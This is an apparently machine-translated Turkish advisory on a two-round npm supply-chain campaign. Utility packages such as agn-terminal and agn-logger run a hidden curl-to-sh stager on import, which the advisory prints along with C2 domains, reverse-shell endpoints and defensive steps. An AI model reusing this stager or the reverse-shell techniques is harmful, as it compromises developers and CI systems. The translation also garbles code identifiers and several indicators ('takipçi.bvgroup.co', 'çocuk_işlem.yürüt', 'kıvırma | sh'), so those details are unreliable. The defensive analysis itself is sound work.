TL; DR
Tek bir npm operatörü yayınlandı beş truva atı bulaştırılmış paket Üç gün içinde iki tur halinde gerçekleştirilen saldırılarda, paketler küçük terminal renkli, günlük kaydedici ve Postgres istemci yardımcı programları gibi görünüyor. Kötü amaçlı kod çalışıyor. paketin içe aktarıldığı an — Yakalanacak bir kurulum komut dosyası yok.
Birinci tur (neon-terminal, neon-postgres, ne-loggerBu metin 2026-07-05 tarihinde 14:14 UTC'de yayından kaldırıldı. Yetmiş dört dakika sonra Aynı hesap aynı truva atını yeni isimler altında yeniden yayınladı (agn-terminal, agn-logger) — ve onu şuraya doğrulttu aynı komuta ve kontrol uç noktası Daha önce kullanılmıştı: tracker.bvgroup.co.
C2 sunucusu, yeniden adlandırma işleminden sonra da varlığını sürdüren tek göstergedir ve bir savunmacının arayabileceği en hızlı şeydir. Ciddiyet: yüksekEkosistem: npmBu yazının yazıldığı sırada ikinci tur paketleri hala yayındaydı.
Saldırı: Nasıl işliyor?
Paketler işlevsel yemlerdir. Açık agn-terminal ve eksiksiz, işlevsel bir ANSI renk yardımcısı bulursunuz — kodları, Renkleri destekler, Colorize, boya — türleri ve bir README dosyasıyla birlikte. Yardımcı kod çalışıyor. Giriş modülünün en üstüne, kullanışlı kodun üstüne, içe aktarma sırasında çalışan birkaç satır kod eklenmiştir.
// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process"; const child = exec( "curl -fsSL https://remote.agyn.org/remote.sh | " + "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh", {}, (error, stdout, stderr) => {}, ); Bunu etkili kılan üç şey var.
- Bu kod yükleme sırasında değil, içe aktarma sırasında tetiklenir. Paket hiçbir şey beyan etmiyor. ön yükleme or kurulum sonrası Kanca — tarayıcıların ve değerlendiricilerin genellikle baktığı yer. exec Bu çağrı modül düzeyinde bir koddur. Herhangi bir şey ilk kez çalıştırıldığında devreye girer. gerektir(“agn-terminal”) or “agn-terminal”i içe aktarGeliştiricinin makinesinde veya CI içinde. Hem ESM girişi (src / index.js) ve CommonJS girişi (cjs/src/index.jsAynı yükü taşıdıkları için her iki modül sistemi de kapsam dahilindedir.
- Asıl önemli yük, paketin dışında bulunuyor. Paket yalnızca tek satırlık bir aşamalandırıcı gönderir: getir `remote.agyn.org/remote.sh` adresine yönlendirin ve çıktıyı şuraya aktarın: `sh`. Operatörün istek anında bu URL'den sunduğu her şey çalıştırılır. C2 uç noktası, indirilen betiğe şu şekilde iletilir: İZLEYİCİ_UZAK_SON NOKTA ortam değişkeni, bu nedenle ikinci aşama komut dosyası eve telefon eder. takipçi.bvgroup.co.
- Taşıyıcı paket, patlama yarıçapını genişletir. agn-logger İkinci bir yemdir — "küçük bir küresel kayıt cihazı". Kendi başına herhangi bir yükü yoktur. Giriş modülü tek bir önemli iş yapar:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); beyan eder agn-terminal Bir bağımlılık olarak ekler ve içe aktarır. Günlük kaydediciyi yüklemek veya içe aktarmak, terminal paketini dolaylı olarak çeker ve tetikler. Truva atını doğrudan adlandırmayan bir proje bile, günlük kaydedici aracılığıyla onu çalıştırabilir.
burada yeni ne var
İlk turda uzaktan bir stager kullanılmadı. Yükü doğrudan gönderdi ve sürüm sürüm artırdı — bir sürümde bash ters kabuğu, bir ağ.Soket Sonrakinde ters kabuk, bir git ekle/commit/ itme Kurbanın çalışma dizininin bir başkasına ve son olarak da tam bir HTTP komuta ve kontrol aracısına erişilir. neon-terminal 0.9.0 sürümü, sunucuyu kaydetti, görevleri sorguladı ve bunları çalıştırdı. yürüt()ve base64 kodlu çıktıyı geri aktardı. İkinci tur, tüm bunları tek bir veriye dönüştürdü. kıvırma | shİkinci aşamayı tamamen kayıt defterinden kaldırıyoruz. Aynı operatör, daha sessiz paket, daha esnek yük ve en önemlisi, öncekiyle aynı C2.
Tarihçesi
| Tarih (UTC) | Etkinlikler |
|---|---|
| 2026-07-03 07:03 | Birinci tur yayınlandı: neon-terminal (0.1.0 temiz, ardından 0.2.0–0.9.0 kötü amaçlı yazılımlar), neon-postgres 3.5.2, ne-logger 0.7.0 |
| 2026-07-03 07:05 | neon-terminal gerçek zamanlı taramada işaretlendi |
| 2026-07-04 | Kötü amaçlı olduğu doğrulandı; iki kardeş paket arasındaki ilişki ortaya çıktı; ilk kaldırma girişimleri yapıldı. |
| 2026-07-05 14:14 | Birinci tur yayınlanmadı — sekizinin tamamı neon-terminal sürümler ve kardeşleri kaldırıldı |
| 2026-07-05 15:28 | agn-terminal 0.1.0 yayınlanan |
| 2026-07-05 15:29 | agn-logger 0.1.0 yayınlandı — yeni terminal paketinin taşıyıcısı |
| 2026-07-05 (devam ediyor) | Yazım itibariyle ikinci tur paketleri yayında. |
İki tur arasında üç gün var ve kaldırma ile yeniden başlatma arasındaki süre 74 dakika. Kampanya açık: agn-* Bu metin yazıldığı sırada paketler henüz kaldırılmamıştı.
Uzlaşma göstergeleri
Paket adları için kilit dosyalarını ve bağımlılık ağaçlarını arayın. Vekil sunucu, DNS ve diğer adresleri arayın. EDR Ağ uç noktalarına ait günlükler. C2 sunucusu. takipçi.bvgroup.co Her iki turu da kapsar ve en yüksek değere sahip tek göstergedir.
Paketler
| paket | sürümler | Rol | Durum |
|---|---|---|---|
neon-terminal | 0.2.0–0.9.0 | truva atı (satır içi yükler → HTTP C2) | yayınlanmamış |
neon-postgres | 3.5.2 | truva atı (yük içinde) src/errors.js) | yayınlanmamış |
ne-logger | 0.7.0 | taşıyıcıya bağlıdır (duruma göre) neon-terminal) | yayınlanmamış |
agn-terminal | 0.1.0 | truva atı (curl | sh sahneleyici) | yaşamak |
agn-logger | 0.1.0 | taşıyıcıya bağlıdır (duruma göre) agn-terminal) | yaşamak |
neon-terminal 0.1.0, zararlı yazılımların ortaya çıkmasından önce paketi kurmak amacıyla yayınlanan, çalışan ve zararlı yazılım içermeyen bir renk kütüphanesi olan temiz bir başlangıç sürümüydü.
ağ
| Gösterge | bağlam |
|---|---|
tracker.bvgroup.co/remote/… | HTTP C2, her iki tur (ikinci tur belirteci) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J) |
remote.agyn.org/remote.sh | ikinci tur birinci aşama yükleyici |
reverse.bvgroup.co:443 | birinci tur ters kabuk uç noktası (neon-terminal 0.6.0) |
6.tcp.eu.ngrok.io:28754 | birinci tur ters kabuk (neon-terminal 0.3.0) |
2.tcp.eu.ngrok.io:25852 | birinci tur ters kabuk (neon-terminal 0.4.0) |
bvgroup.co, agyn.org, agyn.io | operatör kontrollü alanlar |
Davranışsal
- Modül düzeyinde çocuk_işlem.yürüt bir yardımcı program paketinin giriş dosyasının en üstünde, her ikisinde de src / index.js (ESM) ve cjs/src/index.js (CJS).
- A curl -fsSL … | sh C2 üzerinden geçirilen tek satırlık mesaj İZLEYİCİ_UZAK_SON NOKTA Çevre değişkeni.
- Birinci paketi bağımlılık olarak tanımlayan ve onu içe aktaran, kendi başına herhangi bir içerik içermeyen ikinci bir "yardımcı" paket.
- bir artık // neon-terminal en üstteki yorum agn-terminal — Yeniden markalaşmayı orijinaline bağlayan bir kopyala-yapıştır kalıntısı.
Dosya özetleri (SHA-256, ikinci tur)
- agn-terminal src / index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- agn-terminal cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- agn-logger src / index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
Atıf ve gözlemlenen davranış
Her paket tek bir npm hesabına bağlıdır. vitalii-agynDoğrulanmamış e-posta adresiyle yayın yapıyor. vitalii@agyn.ioHesabın kendi kayıt defteri meta verileri, üç birinci tur paketinin de hesap tarafından sürdürüldüğünü listeliyor. Altyapı, turları birbirine bağlıyor: alan adı agyn.org yayıncınınkine uyuyor agyn.io e-posta alan adı ve C2 sunucusu takipçi.bvgroup.co her ikisinde de görünür neon-terminal 0.9.0 ve agn-terminal 0.1.0 — aynı toplayıcı yolu, yeniden adlandırmadan sonra olduğu gibi yeniden kullanıldı.
Eserlerin ne gösterdiğini açıklıyoruz ve orada duruyoruz. Yayıncının belirttiği e-posta adresi şudur: vitalii@agyn.ioBu adresin sahipliğini doğrulamadık ve hesabı herhangi bir kişi veya gruba atfetmiyoruz. İki paket ailesinde aynı C2 uç noktasının yeniden kullanılması, aynı operatöre ait olduğunun güçlü bir göstergesidir, kimlik tespiti anlamına gelmez.
Birinci turdaki paketler, marka yakınlığına ağırlık verdi. neon-postgres Porsager'ın yaygın olarak kullanılan bir klonuydu. postgres.js Müşteri, slogan ve her şey dahil, içerik de içine gizlenmiş durumda. src/errors.js Dolayısıyla rutin bir içe aktarma yolu ona ulaşacaktır — ve neon- Ön ek, sunucusuz Postgres sağlayıcısı Neon'un tanınırlığını ödünç alıyor. İkinci turdaki isimler taklitçiliği bıraktı ve genel isimlere yöneldi (agn-terminal, agn-logger), marka bilinirliğinden ödün vererek, kötü şöhretten daha temiz bir kopuş sağlamak.
Etki, trendler ve savunmacılara yönelik rehberlik
- Kimler risk altında? Unix benzeri bir sunucuda bu paketlerden birini doğrudan veya taşıyıcı aracılığıyla kuran ve içe aktaran herkes. Stager, bu paketlerden birini kullanır. kıvırmak hem de sh; birinci tur mermiler şunu kullanır darbe hem de /dev/tcpÇünkü yürütme içe aktarma sırasında gerçekleşir, bağımlılığı kuran ve ona dokunan herhangi bir kodu çalıştıran bir derleme sunucusu yeterlidir; kurulum sonrası bir adıma gerek yoktur. Geliştirici iş istasyonunda veya CI çalıştırıcısında, indirilen ikinci aşama, kullanıcının ayrıcalıkları ve tam ağ erişimiyle çalışır.
- İçe aktarma sırasında yürütmenin önemi. Tedarik zinciri savunmaları, haklı olarak kurulum komut dosyalarına odaklanmıştır; çünkü kurulum sonrası işlem, klasik bir npm savunma noktasıdır. Bu kampanya ise bunu tamamen atlıyor. İşaretlenecek bir kurulum kancası yok. kötü amaçlı kod Bu, sıradan bir modül başlatma işlemidir ve ilk bakışta bir paketin yükleme sırasında bir arama tablosu hesaplamasından ayırt edilemez. Yalnızca package.json dosyasındaki komut dosyalarını inceleyen araçlar hiçbir şey görmez.
- Yeniden markalama ve yeniden kullanım trendi. 74 dakikalık geri dönüş süresi asıl hikaye. Kaldırma işlemi isimleri kaldırdı ama operatörü, altyapıyı veya kodu kaldırmadı. Bir saat içinde kampanya, aynı C2'ye işaret eden yeni isimlerle tekrar yayına girdi. İsim tabanlı engelleme (neon-terminal'i kara listeye almak) çoktan eskimiş olurdu. Altyapı tabanlı engelleme (bvgroup.co'yu kara listeye almak) ise ikinci turu daha gelmeden yakalardı. Kayıt defterlerinden daha hızlı yeniden yayın yapan aktif bir operatör için kalıcı gösterge paket adı değil, ağ uç noktasıdır.
Şimdi ne yapmak
- Yukarıdaki beş paket adının tümü için kilit dosyalarını ve kurulu ağaçları grep ile arayın. Eşleşen her şeyi tehlikeye girmiş bir sunucu olarak değerlendirin ve ona erişilebilen kimlik bilgilerini değiştirin.
- Alan adlarında engelleme ve uyarı verme bvgroup.co, agyn.orgve DNS'deki ngrok uç noktaları ve çıkış filtrelemesi. takipçi.bvgroup.co önceliktir.
- Yalnızca kurulum kancası taramasına güvenmeyin. Modül düzeyinde algılama ekleyin. çocuk_işlemi ve bağımlılıklardaki ağ çağrıları için ve kıvırma … | sh Paket kaynağındaki kalıplar.
- Başka bir belirsiz yardımcı programı tek bağımlılığı olarak belirten ve yükleme sırasında onu içe aktaran bir yardımcı program paketini, ikinci bir incelemeye değer olarak değerlendirin.
- CI'da tercih edin - Komut dosyalarını yoksay Mümkün olduğunca, ancak burada yardımcı olmayacağını anlayın; veri yükü içe aktarma sırasında çalışır, bu nedenle çalışma zamanı çıkış kontrolleri ve bağımlılık incelemesi daha önemlidir.
Referanslar
- Neon sunucusuz Postgres — marka neon-* İsimler tanınırlıklarını başka kaynaklardan alırlar.
- Porsager postgres.js — müşteri neon-postgres klonlanmış





